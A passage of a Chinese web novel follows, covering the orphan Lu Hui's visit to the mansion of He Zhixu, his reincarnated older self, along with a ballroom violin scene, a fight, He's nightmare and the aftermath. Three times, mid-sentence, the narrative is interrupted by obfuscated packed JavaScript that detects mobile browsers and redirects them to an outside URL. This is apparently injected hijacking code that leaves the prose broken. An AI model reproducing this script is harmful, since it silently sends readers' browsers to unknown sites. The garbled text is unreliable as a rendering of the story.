他的桌上平摊着读到一半的书,手边是一管宝蓝色钢笔,笔盖开着,露出金色的漂亮笔尖。 在陆洄当前的认知里,这是只有大人才会用的笔。 从他进门起,贺叔叔安静地看了他许久,然后喊他过去,就好像他是小猫小狗、小兔子。 但谁会拒绝这样一个人的召唤? 等陆洄自己回过神,他已经走到了对方的书桌面前。 甚至按照对方要求,坐在了为孩子们准备的椅子上。 房内的光线于是也落在了陆洄黑黑短短的头发上。 空气里弥漫着风信子的淡淡香气,是从贺叔叔桌上摆着的香氛瓶里飘来的,这种味道并没有让陆洄放松下来,反而是变得更紧绷。 他平时在学校可没少被喊进教师办公室,从来不像现在这样局促。 陆洄心里不爽起来,逼迫自己看向近在眼前的男人,开口:“你叫什么名字?” “孩子,这个问题应该先由我问你。”贺叔叔没表露出丝毫被冒犯,语气平静,“不过我知道你,这是你画的,对吗?” 说着,他从那本书底下,拿出了那张陆洄“精心绘制”的蛇脸贺卡。 上面就写着他的大名呢。 贺叔叔很贴心地没把它打开,好让那个蛇信子biu的弹射到他脸上去。 陆洄心里却瞬间警钟大作。 是院里的老师出卖了他?还是别的小孩多嘴? 这人,是来找他算账的。 “你画得很好。”贺叔叔却这样说。 他大手交叠,唇角微不可察地弯了弯,像是很认真地提议:“将来有兴趣当一名画家吗?像毕加索那样的。” “嗯?”陆洄有点懵地眨了眨眼,属实没想到有人欣赏他的“艺术”,再开口时语气都没那么横了:“我就随便乱画的...” “我知道。”贺叔叔点到即止地换了话题,但目光依然落在他脸上,“伤是哪来的?” 陆洄手摸到右脸上的创口贴,随口撒谎道:“打球摔的。” “手腕上也是?” 陆洄一惊,心跳也随之加快,猜想是衣服洗太多次袖子缩水了,竟然这也会被大人看见。 “是,这很重要吗?我球打得不好。”他不由得有点炸毛了,眉重新拧起。 同时下意识伸手把衣袖往下扯,强行挡住了打架留下的淤青,烦躁里夹杂着心虚。 要是这人跟徐院长说,绝对会给他招来麻烦的。 不对,他凭什么管他伤是哪儿来的? 许是看穿了他的内心活动,贺叔叔没有进一步激惹他,垂眸看了眼腕上价值不菲的手表,沉声说:“时间到了,去那边选一件你喜欢的礼物带走。” 陆洄的第一反应是“这么快”。 他完全忘记了刚才排队时有多不耐烦,心里骂了多少遍“怎么这么慢”。 但他还是迅速起身,走向旁边堆积如山的礼物,从里边选走了最值钱的拍立得相机——如无意外,他会把它卖给学校里有钱的孩子。 陆洄揣着它,人都快到门边了,又转回头来。 他用一种酷酷的语气提示说:“你还没告诉我,你叫什么。” 坐在书桌后的男人像是早有预料,再次拿起了那张贺卡,说:“我在上面写了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486003|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字。” 陆洄眨了一下眼,面无表情地走回去,接了过来。 于是,那张折叠贺卡就被装进了陆洄宽大的校服裤兜里,直到现在,陆洄仍然揣着兜,指腹时而摩挲过贺卡薄薄的边角。 徐智聪的声音拉回了他的注意力,顺带递过来一小块纸杯蛋糕。 时间还不到下午四点,在晚餐之前,孩子们被安排到贺叔叔的私人地下影院看电影。 他们过去从没去过电影院,就连电影也很少机会看。 平时只能全挤在一起,仰着脖子看温暖之家挂在活动室的老旧电视机,并且只能看儿童频道播的低龄向动画片。 但今天播放的电影,是大孩子们也会爱看的——《哈利波特与密室》3D版。 “这是贺董事特地为大家选的影片,还给每个小朋友都准备了3d眼镜。”负责控制播放的佣人介绍说,极力为不愿当众露面的主人刷一些存在感。 孩子们顿时鼓起掌来,一个个高声说:“谢谢贺叔叔!” 陆洄已经到了爱耍酷的年纪,自然是坐在大后排,徐智聪挨着他坐,假装对3d电影没兴趣,又忍不住戴上眼镜体验一番。 小孩儿们看起电影可不安静,放映厅里一直叽叽喳喳的,陆洄自然没法静下心看。 一不留神,他又在回想刚才书房里的场景。 也许,徐智聪说得也不是全错,那位贺叔叔虽然很有钱,但并不是顶坏的人。 对方注意到他受伤了,简单问他两句,应该只是想关心他。 对方的声音也好听,成熟的,温和有磁性的。 那可能只是有点坏?不完全坏?50%坏? 趁着身边的人电影看得投入,陆洄终于忍不住,悄悄把那张折叠贺卡掏了出来。 正反面他都看过了,并没有写贺叔叔的名字。 只有打开了。 陆洄一咬牙,展开贺卡—— “嘶。” 虽然早做好了心理准备,但由于影厅光线过暗,陆洄还是被自己画的卡通蛇给吓得眯起了眼。 鸡皮疙瘩瞬间爬了满身,陆洄第一次亲身体验到,什么叫害人终害己。 他一只手把弹出的蛇信子摁了回去,视线小心翼翼瞥向蛇以外的空白区域。 陆洄:“……” 骗人,根本就没有写名字。 陆洄的大脑都还没来及深度思考,旁边徐智聪的鬼叫就打断了他。 这倒霉孩子一把抓住了他瘦弱又伤痕累累的手臂:“陆哥!卧槽你快看啊陆哥!好吓人啊啊啊啊啊——” 陆洄鼻梁上正架着3d眼镜,猝不及防一抬头。 面前30寸的高清巨幕里,一条超逼真蛇怪张开血盆大口,冲他扑脸而来,直把他吓得连喊都没喊出声,情急之下甚至揍了徐智聪一小拳。 整个影厅的孩子们全在吱哇乱叫,谁也注意不到,平日里拽得二五八万的陆洄,此刻竟然哆哆嗦嗦蹲到了地上去。 假装捡他掉在地上的折叠贺卡,好不容易捡到手了,偏偏腿软得站不起来。 好...好吓人啊!被吓得差一点就哭了出来!那是何等的奇耻大辱! 他咬牙切齿地盯着贺卡上自己写的“陆洄”二字。 那个贺叔叔,绝对不止80%坏吧。 5. 第 5 章 5 贺叔叔家的中秋晚餐异常丰盛。 温暖之家的孩子们平日里伙食条件很一般,连吃饱饭都不容易,他们第一次见饭桌上有这么多荤菜,一个个被馋得口水直流。 长长的餐桌上摆满了各色菜式,厨师完全根据孩子的口味制定菜谱,菜全切成方便入口的大小,汤保持温热状态,就连餐具都是儿童友好的款式。 这一切全依照主人的要求安排,可见其用心细致。 一天下来,孩子们对贺叔叔早就好感倍增,偏偏这位贺叔叔是那样神秘,直到晚餐结束了,才终于舍得当众露一次面。 虽然这并不符合贺知叙本人的意愿。 但作为主人,适当的互动才不失礼节,于是他同意参加晚餐后的舞会,这也是今天的最后一项活动。 贺家的舞厅几乎有一个足球场大,天顶高耸,中央是一块圆形玻璃窗,抬头就能欣赏到月夜星辰。 贺知叙到的时候,无疑吸引了在场所有人的目光。 他发型梳理得当,身穿一袭剪裁极致修身的黑色塔士多礼服,身姿挺拔,双腿修长,浑身散发着富有而优雅的气息。 孩子们齐齐仰着脸,眼巴巴望着这位年轻英俊的贺叔叔,一步步从台阶上从容缓步而下,一时间忘了喧哗。 佣人们更是傻了眼——因为这完全不像主人一贯参加舞会时的打扮,如果以前的主人是靠脸硬帅,那现在就是连步履举止都很帅气。 只是... 女仆小田紧张地咽了咽,贺知叙正好走至她面前,小田目光落向他身前扣得紧实的两颗金色纽扣。 它们将礼服收束服帖,完美勾勒出腰线,尽显优越身材的同时,却也给人一种显而易见的拘束感。 小田斗胆问道:“老爷,您不担心...影响发挥吗?” 贺知叙:“?” 影响什么发挥? 他还没反应过来,舞会的主持人就激动得朗声介绍道:“小朋友们!接下来,贺叔叔要和大家一起跳舞哦!” 孩子们期待的目光瞬间全投过来:“哇!!!” 贺知叙完全猝不及防,竭力控制住内心震撼,看向旁边的管家钟秉诚:当初你给我的流程里,怎么没有这一条? 打印纸上只有“舞会”二字。 贺知叙过去自然是参加过舞会的,并且参加过许多次。 只不过每次他都坐在轮椅上,参加舞会在他眼中仅仅意味着:他只需要在舞池旁边看一看,然后,或主动或被动地与圈内人士社交。 他竟然忘记了,这副身体的原主人双腿健全,还是个爱热闹的自来熟,舞会等同于下场尽情狂舞。 钟秉诚不过是按照主人习惯定的流程,投其所好罢了,贺知叙清楚不该这时候为难他。 可他哪里会跳舞? 而就这么短短几秒钟功夫,舞厅里已经奏响了激动人心的劲舞音乐—— 贺知叙重生以来,第一次如此真切地体会到,自己是回到了二十年前。 正在冲击他耳膜的这个背景音乐,曾经火遍全国各大歌舞厅,仿佛在当年抱过他。 但放到现如今听来,旋律歌词都土得叫人头皮发麻,就连老年人跳广场舞都不乐意用了。 贺知叙太阳穴突突跳动,他很想找个借口推掉。 他绝不能在这样的音乐里蹦蹦跳跳,他会毁了他自己的。 偏偏这时,贺知叙目光越过舞厅里攒动的孩童,竟然远远看见了角落里13岁的自己。 陆洄正独自待在舞厅边缘,远离聒噪的人群,冷着脸酷酷地抱着手臂,后背抵着墙,似乎正看向这边。 尽管看不清表情,但凭借贺知叙对自己的了解,陆洄正在心里嫌弃大家吵闹幼稚,吐槽曲子很难听,主人的品味糟糕透顶。 贺知叙:“…………” 他闭了闭眼,把推辞的话咽下肚里,转头吩咐钟秉诚:“麻烦让人把我卧室里的小提琴取来。” 忽然听见“小提琴”三个字,钟秉诚没忍住目露惊异,但还是马上派人照办了。 不出十分钟,小田就捧着把主人心爱的小提琴,小步跑了回来。 贺知叙轻轻接过琴和琴弓,他记得原主在日记里提过,自己每天晚上都练习小提琴,所以他这样的举动...应该是很正常的。 但他并没有注意到,小田退回佣人队列后,偷偷把一堆静音耳塞递给了旁边的同僚。 他们当场给她竖大拇指,作感激涕零状。 佣人们站成一排,表面神色安详,背地里则小心分发着耳塞,以确保每个人的耳朵都能得到最好的保护。 原因无他——主人的小提琴实在拉得很烂,简直是在锯木头! 偏偏主人毫无所觉,长期沉浸在自己的艺术中,无法自拔。 “我今天身体不太舒服。”调整好琴,贺知叙沉声解释说,“改为拉上一小段,做大家的伴奏。” 贺知叙毫无所觉,这“拉上一小段”让身后一排佣人都惊惧得抖了几抖。 他们纷纷抬手,把降噪耳塞一股脑塞进耳朵深处。 整个世界瞬间安静了下来。 狂野不羁的舞曲也正好停了,有人细心地把舞厅的灯光调暗。 贺知叙动作熟练地架好琴,垂眸,琴弓轻轻触上了弦,不需要太多准备时间,他听见音乐像往常那样舒服自然地流溢出来,深知这是一把好琴。 舞厅里,孩子们不久前还借着舞曲摇头晃脑,又唱又叫的,这会儿都不约而同平息了情绪,一双双眼睛格外专注地望着贺叔叔。 头顶上明晰的月光透过圆窗,柔和地倾泻下来,将他的影子拉得很长,就像动画片里的长腿叔叔那样。 拉琴时的贺知叙神情专注,修长手指反扣在弦上,动作是那样轻巧灵活,揉弦的时候,指尖就像蝴蝶挣扎着颤动的翅膀。 上辈子,任谁都难以想象,他其实生性好动,只是因为被迫坐上了轮椅,才不得不彻底沉稳下来,成为了“爱好是工作、读书静坐、养仙人球”的人。 对运动的需求被压制成了身体内部的躁动,许多个夜晚他汗津津地醒来,像一棵急切渴望破土而出、呼吸到干净空气的植物,全身的细胞都在叫嚣着需要离开床,希望跑出这个房子,一直跑到精疲力尽才停止。 而现实是,他连单纯坐起身来,都需要床栏的辅助。 学习各种需要动手的技艺,是他能找到的最好代偿,小提琴便是这其中之一。 他灵活的双手时刻提醒着他,自己的生命仍在拼死动弹,他不会轻易失去对自己的掌控。 一曲终了,贺知叙缓缓放下琴弓,抬起双眼,思绪回落到现实的瞬间,他几乎被视线的高度吓得一怔,像是恐高患者,感受到了轻微的眩晕。 孩子们却毫无所觉,全部兴奋地鼓着掌,谁都不记得要随音乐跳舞这件事,因为他们听呆了。 现在纷纷高呼:“贺叔叔!您好厉害!您是电视上的人吗?” 佣人们也齐齐跟着鼓掌,心中感动万分:孩子们果真是天使!居然表现得如此欣赏主人的“演奏”,想必他们长大以后,不管做什么都会很成功的! 贺知叙则是忽然想起什么,目光越过人群,看向刚才13岁的陆洄站过的位置。 对方已经不在了,整个舞厅都不见踪影。 贺知叙轻微拧眉,他不免有些烦躁,不知道刚才拉那段琴是为什么。 他居然会看重13岁的自己,对现在自己的评价。 尤其是,那评价绝对不能是负面的。 小田把耳塞摘掉,主动接过琴,露出一个灿烂的营业笑脸,说:“老爷,您拉得太棒了!我听得都想流眼泪...对了,您需要吃点什么吗?您还没有吃晚餐呢。” 贺知叙此刻确实还是空腹,他刚才没有随孩子一起用晚餐,因为他上辈子养成了八九点后才迟迟吃晚饭的不良习惯。 尽管他现在胃口不好,但小田的目光这样关心殷切,他还是答应了移步餐厅。 因为早就不是孩子口味,贺知叙的晚餐是安排厨房另做的,更清淡,含草量更高。 但端上来的餐后甜点是一致的。 贺知叙并不讨厌点心,于是从精致的白瓷餐盘里,取用了一块黄油曲奇,放进嘴里品尝了一点儿。 嗯,做得还不错,曲奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486004|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入口即化,黄油的香气很浓郁... 就是对他来说,有些过度甜腻了。 贺知叙失了兴趣,将剩的大半块随手放去一边,用温热的餐巾擦拭双手,意味着晚餐的结束。 他在这顿饭中适当摄入了碳水,按照以往的习惯,现在正是需要吹吹晚饭,让头脑保持清晰的时候。 贺知叙离开他独享的餐厅,自然不打算回吵闹的舞厅,而是转向了相反的方向。 在贺家宅邸的背面,有一处不常被使用的小型露台。 这边不面向海,景致相对不那么美,就连佣人偷懒也很少跑到这里来。 于是对贺知叙来说,这是一个绝佳的独处环境,能让他的思绪放空片刻。 但今天,他不可避免地在想陆洄。 书房里的陆洄用警惕的眼神盯着他,动作惊慌地藏起衣服底下的伤,并迅速地竖起了浑身的刺来—— “松手!这是我的!”一个有些陌生的声音突然从下方传来,切断了他的回想。 那是男孩变声期以前的声音,如果不是贺知叙恰好探出头去,他都无法辨认出声音的主人是小时候的自己。 露台下边正好也是花园的偏僻角落,几个年轻男孩正待在一起,任谁都能一眼看出,他们此刻关系并不和睦。 陆洄手里正死死攥着一个破旧不堪,但被塞得鼓鼓囊囊的书包,对面的男孩是他当时的死对头,名字叫范洪。 范洪15岁,比他要高出半个头,要从他手中抢走那个破书包。 不堪入耳的脏话闯进初秋的夜色里。 一个壮实些的男孩先动了手,他将陆洄强行摁倒在地,那个书包的拉链被暴力扯坏,里边的东西散落了出来。 全都是零碎的小玩意儿——包装精美的点心、造型奇特的蜡烛、甚至还有擦手用的餐布。 贺知叙一眼就明白它们从何而来。 13岁的陆洄居然在他的家里,完成了一次规模不小的盗窃。 这个事实强硬地提醒着贺知叙,也许他一直刻意不去回想,但少年时期的他确实过着这样的生活。 偷窃,斗殴,奔逃。 然后最后一次,他听见了尖锐的鸣笛与刹车声。 熟悉的寒意迅速爬遍了全身,他许久未经历过如此严重的闪回反应,整个人顷刻间动弹不得,就连底下传来的声音都听起来似真似幻。 “我告诉你,你现在跟我们都一个样,小偷!”范洪早争红了眼,声音不自觉放大:“我倒想让徐院长开开眼,看你现在究竟变成了什么德性!” “好啊,你告诉她,你去告诉所有人,随便你。”陆洄愤恨地站起身来,手背用力擦掉嘴角的鲜血,“我不在乎。” 但他无意中抬头,却和高处神情冰冷的贺知叙对上了视线。 陆洄像是突然掉了线,原地呆滞了一秒钟。 但也只有这么一秒,因为范洪这时向前一步,踩碎了被小心包裹在纸巾里的黄油曲奇。 13岁的陆洄没再说半句垃圾话,就这么发了狂似的扑上去,像恶犬誓要咬断敌人的脖颈,对方的拳脚自然也毫不留情地招呼了过来。 贺知叙根本不必再问伤从哪来,那些从斗殴中得来的伤,此刻正无比清晰地浮现在他的记忆中,浮现在他的眼前。 大大小小,有新有旧,新的擦破了皮,露出里边鲜红的血肉,肉里黏着毛发与灰尘。 而旧的都结成了棕黑色的痂,像某种动物凹凸不平的鳞片。 比如说,蛇的鳞片。 一股不寒而栗的恶心瞬间冲上了食管,剧烈的耳鸣与眩晕感紧随而来,贺知叙强撑着给管家打电话,让人马上过来处理。 他自己则步伐混乱地撤离露台,找到距离最近的卫生间,用力将门带上。 贺知叙浑身都在急剧发抖,愤怒而悲伤,并且冷得就好像失了温。 下一秒,他终于支撑不住,猛然俯下身去,不受控制地干呕——就像被一只手强行摁向地面,也像要把那些记忆全部排出身体。 狼狈,毫无体面可言,眼眶猩红。 他刚才吃下的那点食物,就这么被全部吐了出来。 6. 第 6 章 6 几个不良男孩的斗殴并没有持续太久。 很快便有佣人发现了他们,男孩们到底还是怕惹出麻烦,当场作鸟兽散。 属于他们的中秋晚会就这样结束了,孩子们坐上摇摇晃晃的大巴车,返回陈旧逼仄的温暖之家,爬上嘎吱作响的破板床,就好像如梦初醒。 可容纳40人的公共卧室,其实就像一间稍微大点的老教室。 天顶因为潮湿而长了黑色的霉斑,每面墙都是斑驳掉漆的,上边布满了孩子们的脏手印与涂鸦画,房间里找不到任何像样的家具,只有一张张小床紧密排列着。 空气中永远是平价洗衣粉的味道混杂着汗味儿,整个环境拥挤而让人窒息。 一想到每天都需要在这里睡觉,简直就像人已经睡在墓园里一样。 但今晚,每个孩子都情绪高涨。 他们舍不得入睡,所以索性悄声聊着天。 “贺叔叔的家真好呀,要是明年中秋...能再去就好了。” “唉,只可惜,我今年就打算离开这里了。” “你才不到15岁呀,急什么。” “这里的小孩太多了,徐院长总是很辛苦,再说,我已经有能力自己赚钱了...反正我成绩不好,读书也是白读。” “那就去工作!我也想自己赚钱,然后买很多吃的。” “我听说,贺叔叔没有小孩,也没有老婆。” “哎那你们说,他会不会想要领养一个小孩?” “你就做梦吧,哪有那么美的事情啊。” “我觉得他不喜欢小孩...不过,他好像也不喜欢大人。” “可能是只喜欢他自己吧,哈哈哈哈哈!” 陆洄的床位在最角落,不过他此刻并没有待在床上,而是曲膝靠坐在高高窄窄的飘窗上。 他的脸上还挂着新伤,其他孩子都不敢看过来,更不敢报告给老师和院长,生怕自己被卷入恐怖的斗殴事件中。 为了节省电费,卧室九点半就熄了灯。 陆洄这会儿只能借着窗外路灯的光,在一本单行本上草草涂画。 “你在画什么呀?”徐秋秋把幼小的双手撑在平台边上,格外艰难地踮着脚,探出她的小毛脑袋,指着本子好奇地问:“这个人,他是睡落枕了吗?” 这小丫头只有六岁,不知道为什么,不像其他孩子那样怕他,偶尔敢向他搭话。 她赤脚走来的,陆洄起初没发现她,被吓了一跳,赶紧把本子合上了。 “关你什么事。”他冷酷地说。 “他手里...拿着大火腿吗?”徐秋秋边说边咳嗽,吸溜着鼻子。 “这叫小提琴。”陆洄说,然后略微得意地解释:“一种乐器。” “噢,你画的好丑。”徐秋秋心里显然只有对大火腿的向往,又将脸凑近,眼巴巴地问他:“你们今天吃了什么?” 她今早发烧了,只能被迫留在温暖之家里,吃黄瓜炒肉沫。 “离我远点,别传给我了。”陆洄手推开她的毛脑袋,表情极尽嫌弃。 但还是顺手摸了她额头。 确认退了烧,他才从口袋里摸出一颗金纸包的进口巧克力来。 小丫头瞬间瞪圆了眼,喊着“谢谢哥哥”就伸手接,陆洄偏偏坏心眼地不给她,向上抬了抬手,害人家小狗似的蹦了好几下。 终于落到她手里的时候,巧克力就像变魔术似的,从一颗变成了三颗。 “哇~”徐秋秋就像捧着宝石,幸福得脸都红了。 陆洄从鼻子里发出很轻的一声笑。 对她说:“藏好了,等咳嗽好了再吃。” 徐秋秋点头如捣蒜,点着点着鼻涕又下来了,陆洄塞给她一张印着漂亮花纹的餐巾纸,赶她回幼儿的房间去睡觉。 等这块“狗皮膏药橡皮糖”终于走了,陆洄才重新翻开单行本。 他仔细端详了一会儿自己的大作。 然后,果断放弃了长大后当一名画家的打算。 陆洄皱皱鼻子,躺回到自己的床上,从薄薄的被子底下,抓来他的兔子玩偶。 这是在他三岁的时候,妈咪带他从娃娃机里夹来的,陆洄每晚都要抓着它的耳朵睡,所以这就是他的阿贝贝。 只不过到了13岁,他对着这一屋小孩,明显感到不好意思了。 于是改成在被子里偷偷抓着。 虽然已经放弃画了,但那位贺董事拉小提琴的模样,到现在依然停留在他脑海中,挥之不去。 他不懂那种高雅的西方音乐,却也知道对方拉得非常好。 贺董事站在清水一样的月光里,微微低垂着脸庞,他的神情,以及他所奏响的音乐,都有种说不上来的忧伤,还有如同深陷火海的挣扎。 陆洄根本不能理解。 那样一个锦衣玉食,从出生以来就没受过一天苦难的家伙,到底有什么好难过的呢? 也许只是伪装出来的,妈咪当年…不就是这么被装忧郁的有钱公子哥给骗了吗。 陆洄说服自己,闭上眼睛要睡觉。 谁知道头脑中却不受控制,反复重演刚才在贺董事庭院里的那场斗殴,以及最后那无意中的一瞥。 他的眉顿时深拧了起来,明明打架受伤都不觉得疼,却偏偏被那样的对视刺痛了心神。 当时,对方置身高处,看起来英俊又矜贵,像洁白的宝石一样。 而他正好陷在地里,衣服上、脸上全都沾满了漆黑的污泥。 在此之前,陆洄从来不觉得偷窃和斗殴有什么不对。 他不过是为了在这种环境里更好地活下去,不过是希望在某天被迫离开温暖之家后,还有生存的气力与手段。 但是面对那位贺董事,自己的肮脏面简直就好像被成倍放大了。 真让人不快。 也许是因为年纪还小,13岁的陆洄并没有为此辗转反侧。 他带着自己的兔子玩偶,很用力地翻了个身,闭上眼想,他再也不想见那位贺叔叔了。 然后就这么睡着了,可能是睡前想太多,他迷迷糊糊做起了梦。 梦里,陆洄盘腿坐在一座小山似的甜点堆旁,慢慢挑选着先吃哪一种好——这里的全部都是属于他的,取之不尽,怎么吃都吃不完,卖掉了能换成一大沓钱。 有钱就能办成很多事,有钱就有安全感。 空气中好像飘荡着甜点的香气,还有一丝铜臭味儿。 不知不觉中,那位睡前想着的贺叔叔,竟然悄无声息地出现在他的身边。 对方不如他此刻富有,只带来了一块黄油曲奇,徒手掰开来,将其中一半递给他。 陆洄鼓着脸,不情不愿,但还是接过了。 贺叔叔眼里于是有了笑意,修长漂亮的大手伸过来,轻轻摸了摸他的头,温声说:“好孩子。” 陆洄拿着半块曲奇,没有急着吃,他在吃惊之下,瞪圆了双眼。 “你...” 你凭什么用掰过食物的手摸我的头发啊! 陆洄气得掀开被子就坐了起来。 公共卧室里,几个还在夜聊的小孩都被吓了一大跳,一脸惊恐看着他,以为是吵到他睡觉了,他要发疯打人。 陆洄发现美梦碎了,忍不住烦道:“看什么看。” 小孩们慌忙缩回脑袋,不敢再看一眼,话也不敢再说半句了。 陆洄没理他们,蒙上被子继续睡了。 他并不知道,与此同时,有人也像他那样,从睡梦中突然惊醒了—— 贺知叙记不清自己有多久,没再做过关于那场车祸的梦。 梦里的一切细节都格外清晰:14岁的他饿坏了,在偷钱时被工厂里的主任发现,他跑得飞快,怎么也没料想到,在道路拐弯的地方,一辆面包车朝他狠狠碾了过来—— 鸣笛声就像猛兽的咆哮,要将他一口吞没。 贺知叙从奢华柔软的大床上坐起,肾上腺素飙升使他大汗淋漓,心跳密如擂鼓,他大口大口地喘息着,习惯性伸手去摸枕畔。 …这里没有他平时吃的应急用镇静药物。 他只能拿被子把自己整个包裹起来,用冰凉发抖的手死死抓住自己的另一只手。 别怕,现在你很安全。 没事的,刚才只是做了噩梦。 那已经是过去的事情了... 大约过去二十分钟,贺知叙才从床上起来,出去倒杯水喝。 今晚,担任女仆长的何妈恰巧值夜班,在走廊上看见他,被吓了一大跳。 贺知叙此刻面色苍白,汗水浸透了单薄的睡衣,金发凌乱,其中一缕卷曲的发尾还紧贴着面颊,看起来美得像件艺术品,然而眉眼间的疲惫与破碎却让人不安。 “好孩子,你哪里不舒服吗,做噩梦了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486005|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”何妈主动替他倒好了温水,面上写满了关心。 贺知叙把一杯水全部喝完,脸颊上稍微有了血色,才低声说:“没事。” 声音听起来有些哑。 “瞧瞧,出了这么些汗!赶快换身衣服去吧,别待会着凉了。”何妈则是马不停蹄地赶他去衣帽间。 还给他找来了温热的毛巾,让他把汗湿过的身体擦一遍。 许是生怕他敷衍了事,何妈特地守在衣帽间外,等他换好睡衣。 贺知叙走出衣帽间,何妈打眼一瞧,发现这孩子整个人居然已经焕然一新,连乱了的头发都整理过了。 就好像刚才什么也没发生过一样,是她夜里出现了幻觉。 “哎呀,你在自己家里面,整这么端正严肃做什么呀。”何妈笑了,伸手拍了他一下,硬是把人挺直的背脊给拍弯了,然后低声问:“又梦见爸爸妈妈了?” 贺知叙略微垂眸,看着眼前关心他的妇女,瞬间明白了,之前的贺少爷恐怕时常像这样午夜梦醒,想起自己去世的父母。 “他们一定也惦记着你呢,我可怜的孩子。”何妈安慰说,语气就像哄小宝宝睡觉一样,不过在她眼里,贺知叙可不就是个小宝宝吗,“不管他们在哪里,他们都永远爱着你。” 贺知叙不知道该说什么好,只能轻微点头:“嗯。” 不,其实并没有谁惦记着他,他在原来的世界死去后,可能也没有谁会长时间的记住他,甚至说为他的死流泪。 “何妈,我没事了,现在回去睡觉。”贺知叙语气平静地说。 “真没事了?行,那你去睡吧,何妈就坐在这外边守着。”何妈拍拍胸脯,抡起肌肉健壮的胳膊说:“噩梦敢再来,何妈就把它们都赶走!” 贺知叙愣了愣,然后才慢慢说:“谢谢。” 这是他来这个家以后,第二次说谢谢,但这次不完全是代替原本的贺知叙说。 他不过是冒领了一份原主得来的关爱。 贺知叙回了房间,也许是因为急性发作后的疲惫,很快就重新睡着了。 这次终于一夜无梦。 翌日清晨。 贺知叙照旧起得很早,端正地坐在餐桌前,熟练地用刀叉切分他的早餐,身后大屏幕电视里放着20年前的旧新闻,贺知叙边吃边听,帮自己熟悉适应这个时代的节奏动向。 “老爷,早上好。” 等他放下刀叉,用餐巾擦好嘴,管家钟秉诚就来了。 贺知叙一看现在才七点,很佩服对方如此勤快上班。 以前他手下的员工都是九点半钟踩点进来的。 钟秉诚先是汇报完家中事务,然后自然而然地提起道:“老爷,昨天请孩子们到家里来做客,您有没有...看上哪个孩子呢?” 他似乎仍然热衷于为家主推选继承人的事务。 当然,这里的“继承”尤指继承工作。 钟秉诚毕恭毕敬,将一本牛皮册子递给贺知叙,解释说:“我想您也许会需要,这是每个孩子的详细资料。” 贺知叙不动声色接过,翻开,没几下就看到了自己。 照片拍得真丑,脑袋像被驴碾过了。 想起昨天的斗殴事件,以及昨晚做的噩梦,贺知叙再次感到不舒服,条件反射要迅速揭过这一页。 管家却偏指着这一页说:“这个孩子名叫陆洄,别看书读得不怎么好,但头脑格外聪明,身体素质好,相貌也很拿得出手,如果能得到好的引导培养,长大以后必然是个文武双全大帅哥。” “是吗。”贺知叙关注点却落在最后,下意识顺口问:“能帅到哪儿去?” “那肯定帅不过老爷您啊。”钟秉诚忙奉承说。 “……” 贺知叙不知道该不该高兴,但他还是翻过了那一页,假装看别的孩子去了。 今早醒的时候,他就已经想好了,他上辈子的惨剧,应该主要来源于贫穷——温暖之家缺乏资金支撑,年幼的他不得不提早离开孤儿院,自谋生路。 所以这一次,只要有他在背后默默提供金钱,13岁的陆洄也许就能远离他上辈子的不幸,然后顺利长大。 不过当然,他自然是不愿再主动靠近陆洄了。 如果靠近陆洄,也就靠近了那些不堪回想的过去,靠近了苦和痛。 贺知叙心想,从今往后,他不会再和过去的自己见面了。 7. 第 7 章 7 中秋过后没多久,这座城市开始下起了绵绵秋雨。 雨水洗刷着贺家的每一面落地窗,像忧郁画家的一把刷子,将低处的海和高处的天硬搅和在一起,变成了迷蒙不清的灰色。 室内外都湿漉漉黏糊糊的,穿在身上的衣服仿佛是染了水汽,压得人肩头沉重。 佣人们在这样的天气里,一边懒散地打扫着屋子,一边偷摸低声交谈。 “唉,这天气真让人郁闷,我连干活都没精神,我需要太阳!” “懒就懒,不要怪天气,夏天你不也说太热了没精神吗。” 佣人们话题兜兜转转,转眼聊起了自家八卦。 “说起来,嘘嘘已经快连续十天没出门了,你们不觉得稀奇吗?他以前三天两头往外跑,哪里像现在这样坐得住?”有个年龄大点的女佣压低声音说。 她困惑这件事已经很久了。 “嘘嘘”是大家给贺知叙起的昵称,贺家的房子太大,少爷很小的时候经常找不到最近的厕所,急得在走廊上横冲直撞,朝佣人嗷嗷大喊:“嘘嘘!我嘘嘘!” 不过现在贺知叙长大了,大家自然只敢在背地里这么叫。 “我也觉得,老爷最近像是变了个人。”年轻点的佣人附和说。 “好久没有见老爷笑得开心了。” “老爷也很久没有带人到家里来过了。” “看来,不能有孩子那件事对他打击真的很大,嘘嘘不会突然出家吧,不会再去跳海吧。” “又在这里乱说。”管家钟秉诚出现,打断了他们的杂谈,“老爷是经历了许多挫折,终于涅磐重生了,你们要对老爷有信心!” 话音刚落。 佣人们就纷纷闭了嘴,看向钟秉诚身后。 